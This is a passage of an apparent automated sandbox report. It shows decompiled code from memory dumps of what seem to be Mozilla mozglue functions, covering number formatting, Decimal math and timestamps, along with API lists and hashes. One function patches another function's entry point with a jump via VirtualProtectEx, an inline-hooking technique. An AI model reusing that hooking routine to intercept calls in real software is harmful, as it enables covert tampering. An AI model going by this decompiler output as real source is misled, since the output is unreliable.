					asm("movsd [esp], xmm0");
					E6D872B30(__ecx, _t90, 0x7ff00000, 0x7ff00000, _t75);
				}
				return E6D8770C0(_v8 ^ _t98);
			}

0x6d8741a0
0x6d8741a0
0x6d8741a9
0x6d8741b0
0x6d8741b3
0x6d8741b6
0x6d8741bb
0x6d8741bc
0x6d8741bf
0x6d8741c5
0x6d8741ce
0x6d8741d0
0x6d8741d2
0x6d8741da
0x6d8741e2
0x6d8741ed
0x6d8741f1
0x6d874213
0x6d874214
0x6d87421d
0x6d874223
0x6d87424b
0x6d874250
0x6d87425f
0x6d874261
0x6d874269
0x6d874271
0x6d874275
0x6d874280
0x6d874286
0x6d87428b
0x6d87428b
0x6d874275
0x6d87428f
0x6d874298
0x6d8742a6
0x6d8742d8
0x6d8742e0
0x6d8742ef
0x6d8742f4
0x6d87430b
0x6d87430e
0x6d8742b9
0x6d8742c0
0x6d8742d1
0x6d8742d1
0x6d874313
0x6d8741f7
0x6d8741f7
0x6d874204
0x6d874209
0x6d874209
0x6d874329

APIs

Part of subcall function 6D86FCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D87435F,?,?,?,?,?,?,?,?,6D86EE7F), ref: 6D86FCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?), ref: 6D874209
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(7FF00000,7FF00000,00000003,?,?,00000079,?,?,?), ref: 6D874250
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,00000000,?), ref: 6D8742D1
memset.VCRUNTIME140(?,00000030,?), ref: 6D8742EF
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6D87430E

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$CreateRepresentation@$Ascii@DecimalDtoaExponentialHandleMode@12@SpecialValues@memmovememset
String ID:
API String ID: 3918156932-0
Opcode ID: c8b7ca9f321ea44bd0df0a49307d58607716bb5a1c72d9180c2aa6ad433b3979
Instruction ID: 1aefe057133fad5a62eac4b4faf1cf5717712f32d65ad76ad0e6b056aee36dc7
Opcode Fuzzy Hash: c8b7ca9f321ea44bd0df0a49307d58607716bb5a1c72d9180c2aa6ad433b3979
Instruction Fuzzy Hash: 37418B71A1851D9BDB25CE6CCC84FAEB7BDFF5A304F008599E549E7100EB319991CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D873E70, Relevance: 7.6, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E6D873E70(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12, intOrPtr* _a16) {
				signed int _v8;
				char _v132;
				char _v133;
				char _v140;
				char _v144;
				char _v148;
				void* __ebp;
				signed int _t29;
				signed int _t32;
				intOrPtr _t34;
				signed char _t41;
				char _t68;
				intOrPtr _t70;
				signed int _t72;
				signed int _t73;
				intOrPtr _t77;
				intOrPtr* _t79;
				signed int _t81;

				_t72 = __edx;
				_t29 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t29 ^ _t81;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__ebx);
				_push(__esi);
				_t79 = _a16;
				_t61 = __ecx;
				_push(__edi);
				asm("movsd [ebp-0x98], xmm0");
				asm("movsd [ebp-0x90], xmm0");
				_t32 = E6D86FCE8(__ecx,  &_v148);
				_t73 = _t72 & 0x7ff00000;
				if((_t32 & 0) != 0 || _t73 != 0x7ff00000) {
					_t34 = _a12;
					if(_t34 >= 0xffffffff) {
						if(_t34 > 0x78) {
							goto L4;
						}
						asm("movsd xmm0, [ebp-0x98]");
						if(_t34 != 0xffffffff) {
							_t77 = _t34 + 1;
							asm("movsd [esp], xmm0");
							_t41 = E6D871F20(_t61, 0, _t73, _t77, _t79, 0, 0, 3, _t77,  &_v132, 0x7a,  &_v133,  &_v140,  &_v144);
							_t68 = _v140;
							if(_t68 < _t77) {
								_t41 = memset( &_v132 + _t68, 0x30, _t77 - _t68);
							}
						} else {
							asm("movsd [esp], xmm0");
							_t41 = E6D871F20(_t61, 0, _t73, 0x7ff00000, _t79, 0, 0, 0, 0,  &_v132, 0x7a,  &_v133,  &_v140,  &_v144);
							_t77 = _v140;
						}
						if(_v133 != 0) {
							asm("movsd xmm0, [ebp-0x98]");
							asm("ucomisd xmm0, [0x6d87b580]");
							asm("lahf");
							if((_t41 & 0x00000044) != 0 || ( *_t61 >> 0x00000003 & 0x00000001) == 0) {
								_t70 =  *((intOrPtr*)(_t79 + 8));
								 *((intOrPtr*)(_t79 + 8)) = _t70 + 1;
								 *((char*)(_t70 +  *_t79)) = 0x2d;
							}
						}
						E6D8717E0(_t61, _t61, _t77, _t79,  &_v132, _t77, _v144 - 1, _t79);
						goto L15;
					}
					L4:
					goto L15;
				} else {
					asm("movsd xmm0, [ebp-0x98]");
					asm("movsd [esp], xmm0");
					E6D872B30(__ecx, _t73, 0, 0, _t79);
					L15:
					return E6D8770C0(_v8 ^ _t81);
				}
			}

0x6d873e70
0x6d873e79
0x6d873e80
0x6d873e83
0x6d873e8e
0x6d873e8f
0x6d873e90
0x6d873e93
0x6d873e95
0x6d873e97
0x6d873e9f
0x6d873ea7
0x6d873eb6
0x6d873eba
0x6d873edc
0x6d873ee2
0x6d873eee
0x00000000
0x00000000
0x6d873ef0
0x6d873efb
0x6d873f31
0x6d873f54
0x6d873f59
0x6d873f5e
0x6d873f69
0x6d873f78
0x6d873f7d
0x6d873efd
0x6d873f1c
0x6d873f21
0x6d873f26
0x6d873f2c
0x6d873f87
0x6d873f89
0x6d873f91
0x6d873f99
0x6d873f9d
0x6d873fa8
0x6d873fae
0x6d873fb3
0x6d873fb3
0x6d873f9d
0x6d873fc7
0x00000000
0x6d873fcc
0x6d873ee4
0x00000000
0x6d873ec0
0x6d873ec0
0x6d873ecd
0x6d873ed2
0x6d873fce
0x6d873fde
0x6d873fde

APIs

Part of subcall function 6D86FCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D87435F,?,?,?,?,?,?,?,?,6D86EE7F), ref: 6D86FCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(00000000,00000000,?), ref: 6D873ED2
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(00000000,00000000,00000000,00000000,?,0000007A,?,?,?), ref: 6D873F21
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6D873FC7

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memmove
String ID:
API String ID: 68372405-0
Opcode ID: bae06b9ebfd4b5cc2d9205f2a2c7ae6438e2922443150553d86e0e4974b8f0d3
Instruction ID: af9cca5858079f054aa783c6bedab8cf9ca2498b68c5b2f4f7721e2436acdd91
Opcode Fuzzy Hash: bae06b9ebfd4b5cc2d9205f2a2c7ae6438e2922443150553d86e0e4974b8f0d3
Instruction Fuzzy Hash: 7E41A67290451C9ADB25CE28CC44FEEB3BCFF46344F008699F559E7140DB30AE858BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D86DA70, Relevance: 7.6, APIs: 5, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D86DA70(signed int __ecx, void* __edx, void* _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				signed int _v20;
				signed int _v24;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t35;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t50;
				signed int _t56;
				signed int _t67;
				void* _t69;
				intOrPtr* _t70;
				signed int _t76;

				_t69 = __edx;
				_v12 = 2;
				_t70 = _a8;
				_v8 = __ecx;
				_v20 = __ecx;
				_v16 = _t70;
				_t56 = 0 |  *((intOrPtr*)(__ecx + 0x10)) !=  *((intOrPtr*)(_t70 + 0x10));
				_t35 = E6D86ECEC( &_v20);
				if(_t35 == 0) {
					_t59 = _v8;
					_t76 =  *((short*)(_t70 + 8)) +  *((short*)(_v8 + 8));
					E6D86EF9D(_t69,  &_v24,  *_v8,  *((intOrPtr*)(_t59 + 4)),  *_t70,  *((intOrPtr*)(_t70 + 4)));
					while(1) {
						__eflags = _v24 | _v20;
						if((_v24 | _v20) == 0) {
							break;
						}
						E6D86E1CB(_t56,  &_v24, _t69, _t70, _t76, 0xa);
						_t76 = _t76 + 1;
						__eflags = _t76;
					}
					E6D86D880(_a4, _t56, _t76, _v16, _v12);
					L19:
					return _a4;
				}
				_t44 = _t35 - 1;
				if(_t44 == 0) {
					E6D86ED50(_a4, _t56);
					L6:
					goto L19;
				}
				_t46 = _t44 - 1;
				if(_t46 == 0) {
					E6D86FC47( &_v20, _a4);
					goto L19;
				}
				_t48 = _t46 - 1;
				if(_t48 == 0) {
					__eflags =  *((intOrPtr*)(_t70 + 0xc)) - 3;
					L9:
					if(__eflags != 0) {
						_t50 = E6D86ED50( &_v32, _t56);
					} else {
						_t50 = E6D86F040( &_v32);
					}
					_t67 = 6;
					return memcpy(_a4, _t50, _t67 << 2);
				}
				if(_t48 == 1) {
					__eflags =  *((intOrPtr*)(__ecx + 0xc)) - 3;
					goto L9;
				}
				E6D86F040(_a4);
				goto L6;
			}

0x6d86da70
0x6d86da7a
0x6d86da82
0x6d86da8a
0x6d86da90
0x6d86da96
0x6d86da99
0x6d86daa1
0x6d86daa4
0x6d86db12
0x6d86db24
0x6d86db2a
0x6d86db3f
0x6d86db42
0x6d86db45
0x00000000
0x00000000
0x6d86db39
0x6d86db3e
0x6d86db3e
0x6d86db3e
0x6d86db52
0x6d86db57
0x00000000
0x6d86db57
0x6d86daa6
0x6d86daa9
0x6d86db07
0x6d86dac2
0x00000000
0x6d86dac2
0x6d86daab
0x6d86daae
0x6d86dafc
0x00000000
0x6d86dafc
0x6d86dab0
0x6d86dab3
0x6d86dace
0x6d86dad2
0x6d86dad5
0x6d86dae1
0x6d86dad7
0x6d86dad8
0x6d86dad8
0x6d86daef
0x00000000
0x6d86daf2
0x6d86dab8
0x6d86dac8
0x00000000
0x6d86dac8
0x6d86dabd
0x00000000

APIs

?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(00000002), ref: 6D86DABD
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D86DAD8
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D86DAE1
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(00000002,00000000), ref: 6D86DB07
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(00000000,00000003,?,00000002,0000000A), ref: 6D86DB52

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$?infinity@?nan@Sign@12@@$Sign@01@
String ID:
API String ID: 3409893042-0
Opcode ID: aa23cf78fa7340bfa876cfb9b40fcc2d0560c6e870cc6b9b9f6cc6acd56e058c
Instruction ID: 2147302c9f4690f56a677194a7b9d61e5ab4871d93b3d9ab5698ca778c300882
Opcode Fuzzy Hash: aa23cf78fa7340bfa876cfb9b40fcc2d0560c6e870cc6b9b9f6cc6acd56e058c
Instruction Fuzzy Hash: 0131913290814AEBCB02DF6CC848EAEBBB4FF45335F218955F514A7154D7319A51DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86F2C0, Relevance: 7.6, APIs: 5, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D86F2C0(signed int* __ecx, void* _a4, signed int _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				void _v28;
				void _v52;
				char _v76;
				char _v100;
				char _v124;
				void* _t21;
				signed int _t25;
				signed int _t30;
				signed int _t32;
				void* _t38;
				signed int* _t45;
				void* _t48;

				_t45 = __ecx;
				E6D86DE00(__ecx,  &_v28, _a8);
				if(_v16 == 0 || _v16 == 2) {
					_t30 = 6;
					memcpy( &_v52,  &_v28, _t30 << 2);
					_t48 = _t48 + 0xc;
					_t21 =  &_v52;
				} else {
					_t52 = _v12 - 1;
					if(_v12 != 1) {
						_t25 = E6D86E8C0( &_v28, _t38,  &_v76);
					} else {
						_t25 = E6D86E6F0( &_v28, _t38,  &_v52);
					}
					_t21 = E6D86DB70(_t45, _t52,  &_v124, E6D86DA70(_t25, _t38,  &_v100, _a8));
				}
				_t32 = 6;
				return memcpy(_a4, _t21, _t32 << 2);
			}

0x6d86f2ce
0x6d86f2d1
0x6d86f2da
0x6d86f31d
0x6d86f324
0x6d86f324
0x6d86f326
0x6d86f2e2
0x6d86f2e2
0x6d86f2e9
0x6d86f2fa
0x6d86f2eb
0x6d86f2ef
0x6d86f2ef
0x6d86f314
0x6d86f314
0x6d86f330
0x6d86f33a

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6D86F2D1

Part of subcall function 6D86DE00: ?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?), ref: 6D86DE65

?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE(?), ref: 6D86F2EF
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE(?), ref: 6D86F2FA
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,00000002), ref: 6D86F308
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,00000000), ref: 6D86F314

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V01@V01@@V12@$?ceil@?floor@?nan@
String ID:
API String ID: 1593871797-0
Opcode ID: f0697afad7b046d63558546d04a6daa9b1d51478690f10e6427134df17e3f038
Instruction ID: 749c129b37751a17b1ed1f362bc3ce04230b7bc7dc36766c6331d0e113c05350
Opcode Fuzzy Hash: f0697afad7b046d63558546d04a6daa9b1d51478690f10e6427134df17e3f038
Instruction Fuzzy Hash: 7801AD3280811DABCF10DAA4D809EEE77BDBB54734F10495AFA00A7240EB30A548CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B740, Relevance: 7.5, APIs: 5, Instructions: 47
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6D86B740() {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				struct _FILETIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				signed int _t13;
				signed int _t34;

				_t13 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t13 ^ _t34;
				GetSystemTime( &_v24);
				if(SystemTimeToFileTime( &_v24,  &_v32) != 0) {
					if(GetProcessTimes(GetCurrentProcess(),  &_v40,  &_v64,  &_v56,  &_v48) == 0) {
						goto L1;
					} else {
						asm("sbb eax, [ebp-0x20]");
						E6D877E90(_v32.dwLowDateTime - _v40.dwLowDateTime, _v32.dwHighDateTime, 0xa, 0);
					}
				} else {
					L1:
				}
				return E6D8770C0(_v8 ^ _t34);
			}

0x6d86b746
0x6d86b74d
0x6d86b754
0x6d86b76a
0x6d86b791
0x00000000
0x6d86b793
0x6d86b79c
0x6d86b7a5
0x6d86b7a5
0x6d86b76c
0x6d86b76c
0x6d86b76e
0x6d86b7b7

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D86B40F), ref: 6D86B754
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D86B40F), ref: 6D86B762
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 6D86B782
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6D86B40F), ref: 6D86B789
__aulldiv.LIBCMT ref: 6D86B7A5

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$ProcessSystem$CurrentFileTimes__aulldiv
String ID:
API String ID: 1723404344-0
Opcode ID: ead46486ce9f90543bd0195c6b30aa71532269991f81f3a98682a902568bc229
Instruction ID: c4fb2022d21b4f72040057224fc7326f475c9ba1f01a0d83bd0aa7e064766551
Opcode Fuzzy Hash: ead46486ce9f90543bd0195c6b30aa71532269991f81f3a98682a902568bc229
Instruction Fuzzy Hash: B0019B72D1010DABCF00EBE4C98CEEFB7BDAB09705F114525A516E7140EB34AA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D861EA5, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D861EA5(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, void** _a12) {
				signed char _v5;
				intOrPtr _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				int _v32;
				void* _v36;
				char _v40;
				int _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v56;
				signed int _t54;
				void* _t57;
				void* _t62;
				void* _t79;
				signed int _t81;
				void* _t82;
				signed char _t89;
				signed int _t90;
				void* _t95;
				int _t98;
				signed int _t100;
				void* _t101;

				_t80 = __ecx;
				_v48 = 0x40;
				_v12 = __ecx;
				 *_a12 = 0;
				_v44 = 0;
				_t5 = _t80 + 4; // 0x0
				_v56 =  *_t5;
				_t7 = _t80 + 8; // 0x0
				_v40 = 0;
				_v52 =  *_t7 << 7;
				if(E6D8627B5( &_v56) == 0) {
					L36:
					return E6D861ACD( &_v56);
				}
				_t54 = E6D8622DE(__ecx);
				_t81 = _t54;
				if(_t81 == 0) {
					goto L36;
				}
				_t95 = _a4;
				__imp__EncodePointer(_t95, __edi, __esi);
				 *_t81 = _t54;
				_t98 = 0;
				_t82 = _t81 + 4;
				_v16 = _t54 | 0xffffffff;
				while(1) {
					_t57 = E6D861E21(_t95, _t98,  &_v5);
					if(_t57 < 0 || (_v5 & 0x0000000c) != 0) {
						break;
					}
					_t100 = _t98 + _t57;
					_t89 =  *((intOrPtr*)(_t100 + _t95));
					if(_t89 + 0x78 > 3) {
						if(_t89 == 0xa1 || _t89 == 0xb8) {
							L23:
							_t98 = _t100 + 5;
							goto L27;
						} else {
							if(_t89 != 0x33 || ( *(_t100 + _t95 + 1) & 0x000000c0) != 0xc0) {
								if((_t89 & 0x000000f8) == 0x40) {
									L18:
									_t98 = _t100 + 1;
									goto L27;
								}
								if(_t89 != 0x83) {
									if(_t89 == 0x68) {
										goto L23;
									}
									if((_t89 & 0x000000f0) != 0x50) {
										if(_t89 != 0x6a) {
											if(_t89 != 0xe9) {
												if(_t89 != 0xff ||  *(_t100 + _t95 + 1) != 0x25) {
													break;
												} else {
													_t98 = _t100 + 6;
													goto L27;
												}
											}
											_v16 = _t100;
											goto L23;
										}
										goto L20;
									}
									goto L18;
								}
								if(( *(_t100 + _t95 + 1) & 0x000000c0) != 0xc0) {
									break;
								}
								_t98 = _t100 + 3;
								goto L27;
							} else {
								L20:
								_t98 = _t100 + 2;
								L27:
								if(_t98 < 5) {
									continue;
								}
								memcpy(_t82, _t95, _t98);
								if(_t98 <= 0x64) {
									_t90 = _v16;
									_t62 = _t95 - _t82;
									if(_t90 < 0) {
										 *((char*)(_t82 + _t98)) = 0xe9;
										 *((intOrPtr*)(_t98 + _t82 + 1)) = _t62 - 5;
									} else {
										 *((intOrPtr*)(_t90 + _t82 + 1)) =  *((intOrPtr*)(_t90 + _t82 + 1)) + _t62;
									}
									_v24 = _v24 & 0x00000000;
									_v36 = _t95;
									_v32 = _t98;
									 *_a12 = _t82;
									_v28 = 0x40;
									_v20 = 0;
									if(E6D8627B5( &_v36) != 0) {
										 *_t95 = 0xe9;
										 *((intOrPtr*)(_t95 + 1)) = _a8 - _t95 - 5;
									}
									E6D861ACD( &_v36);
								}
								break;
							}
						}
					}
					_t101 = _t100 + 1;
					_t79 = E6D861DA8(_t101 + _t95, _t101 + _t95, 0);
					if(_t79 < 0) {
						break;
					}
					_t98 = _t101 + _t79;
					goto L27;
				}
				goto L36;
			}

0x6d861eaf
0x6d861eb1
0x6d861eba
0x6d861ebd
0x6d861ebf
0x6d861ec2
0x6d861ec5
0x6d861ec8
0x6d861ece
0x6d861ed4
0x6d861ede
0x6d862038
0x6d862044
0x6d862044
0x6d861ee6
0x6d861eeb
0x6d861eef
0x00000000
0x00000000
0x6d861ef7
0x6d861efb
0x6d861f01
0x6d861f03
0x6d861f05
0x6d861f0b
0x6d861f0e
0x6d861f17
0x6d861f1e
0x00000000
0x00000000
0x6d861f2e
0x6d861f30
0x6d861f39
0x6d861f59
0x6d861fb1
0x6d861fb1
0x00000000
0x6d861f60
0x6d861f63
0x6d861f75
0x6d861f9c
0x6d861f9c
0x00000000
0x6d861f9c
0x6d861f7a
0x6d861f92
0x00000000
0x00000000
0x6d861f9a
0x6d861fa2
0x6d861fac
0x6d861fb9
0x00000000
0x6d861fc2
0x6d861fc2
0x00000000
0x6d861fc2
0x6d861fb9
0x6d861fae
0x00000000
0x6d861fae
0x00000000
0x6d861fa2
0x00000000
0x6d861f9a
0x6d861f84
0x00000000
0x00000000
0x6d861f8a
0x00000000
0x6d861fa4
0x6d861fa4
0x6d861fa4
0x6d861fc5
0x6d861fc8
0x00000000
0x00000000
0x6d861fd1
0x6d861fdc
0x6d861fde
0x6d861fe3
0x6d861fe7
0x6d861ff2
0x6d861ff6
0x6d861fe9
0x6d861fe9
0x6d861fe9
0x6d862000
0x6d862004
0x6d862007
0x6d86200a
0x6d86200c
0x6d862013
0x6d86201e
0x6d862025
0x6d86202b
0x6d86202b
0x6d862031
0x6d862031
0x00000000
0x6d861fdc
0x6d861f63
0x6d861f59
0x6d861f3e
0x6d861f45
0x6d861f4c
0x00000000
0x00000000
0x6d861f52
0x00000000
0x6d861f52
0x00000000

APIs

Part of subcall function 6D8627B5: GetCurrentProcess.KERNEL32(?,?,?,?,?,6D861EDC,00000001), ref: 6D8627C4
Part of subcall function 6D8627B5: VirtualProtectEx.KERNEL32(00000000), ref: 6D8627CB

EncodePointer.KERNEL32(?,6D880120,?,00000001), ref: 6D861EFB
memcpy.VCRUNTIME140(-00000004,?,-00000005,?,00000000,?), ref: 6D861FD1

Strings

@, xrefs: 6D86200C
@, xrefs: 6D861EB1

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentEncodePointerProcessProtectVirtualmemcpy
String ID: @$@
API String ID: 929515480-149943524
Opcode ID: fa1d2ca305fbd30b4df6d011f2d24b41b3ac487ff6de5513368b2261d2f6c881
Instruction ID: c93c1cb6a7785b546b25614b0ae509cad629e3e4b891829d7c816b84abf333e2
Opcode Fuzzy Hash: fa1d2ca305fbd30b4df6d011f2d24b41b3ac487ff6de5513368b2261d2f6c881
Instruction Fuzzy Hash: F251E571D0868B9BDB20CE7888987EEBBF2EF06374F004A59E96597282D7349501CB75

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B3B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E6D86B3B0(signed int __edx, void* _a4, signed int _a8) {
				signed int _v8;
				char _v16;
				short _v24;
				void _v40;
				void _v64;
				void _v88;
				char* _t27;
				signed int _t30;
				char* _t43;
				signed int _t45;
				void* _t47;
				signed int _t52;
				signed int _t55;
				signed int _t58;
				signed int _t60;
				signed int _t62;
				void* _t83;

				_t62 = __edx;
				_t43 = _a8;
				if(_t43 != 0) {
					 *_t43 = 0;
				}
				if(E6D86B37C(_t62) == 0) {
					L11:
					_t45 = 6;
					return memcpy(_a4, 0x6d880350, _t45 << 2);
				} else {
					_t27 = getenv("MOZ_APP_RESTART");
					_v24 = 0x100;
					asm("xorps xmm0, xmm0");
					asm("movlpd [ebp-0x24], xmm0");
					asm("movlpd [ebp-0x1c], xmm0");
					_pop(_t47);
					if(_t27 == 0 ||  *_t27 == 0) {
						E6D86BA20(_t47, _t62,  &_v88, 1);
						_t30 = E6D86B740();
						_a8 = _t30;
						_v8 = _t62;
						_t51 = _t30;
						E6D877C30(_t30, _t30, _t62);
						asm("divsd xmm0, [0x6d87aa58]");
						asm("movsd [esp], xmm0");
						E6D86B30D( &_v16, _t30, _t62,  &_v16, _t51, _t51);
						_t52 = 6;
						E6D86B2A4( &_v64, memcpy( &_v64,  &_v88, _t52 << 2));
						_t55 = 6;
						memcpy( &_v40,  &_v64, _t55 << 2);
						_t83 = _t83 + 0x24;
						if(E6D86B285( &_v40, _t62, 0x6d880338) != 0 || (_a8 | _v8) == 0) {
							if(_t43 != 0) {
								 *_t43 = 1;
							}
							goto L9;
						} else {
							goto L10;
						}
					} else {
						L9:
						_t58 = 6;
						memcpy( &_v40, 0x6d880338, _t58 << 2);
						_t83 = _t83 + 0xc;
						L10:
						_t60 = 6;
						memcpy(0x6d880350,  &_v40, _t60 << 2);
						_t83 = _t83 + 0xc;
						goto L11;
					}
				}
			}

0x6d86b3b0
0x6d86b3b7
0x6d86b3be
0x6d86b3c0
0x6d86b3c0
0x6d86b3cf
0x6d86b495
0x6d86b49f
0x6d86b4aa
0x6d86b3d5
0x6d86b3da
0x6d86b3e0
0x6d86b3e6
0x6d86b3e9
0x6d86b3ee
0x6d86b3f3
0x6d86b3f6
0x6d86b403
0x6d86b40a
0x6d86b411
0x6d86b414
0x6d86b417
0x6d86b419
0x6d86b41e
0x6d86b42b
0x6d86b431
0x6d86b444
0x6d86b44b
0x6d86b452
0x6d86b459
0x6d86b459
0x6d86b46a
0x6d86b476
0x6d86b478
0x6d86b478
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86b47b
0x6d86b47b
0x6d86b47d
0x6d86b486
0x6d86b486
0x6d86b488
0x6d86b48a
0x6d86b493
0x6d86b493
0x00000000
0x6d86b493
0x6d86b3f6

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6D86B3DA
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6D86B403
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6D86B40A

Strings

MOZ_APP_RESTART, xrefs: 6D86B3D5

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Stamp@mozilla@@Time$ComputeNow@ProcessUptime@V12@_getenv
String ID: MOZ_APP_RESTART
API String ID: 941920389-2657566371
Opcode ID: 34410965eee063f7c4696b52ae0282cbe1aed3f11345177497eae15d343fa51f
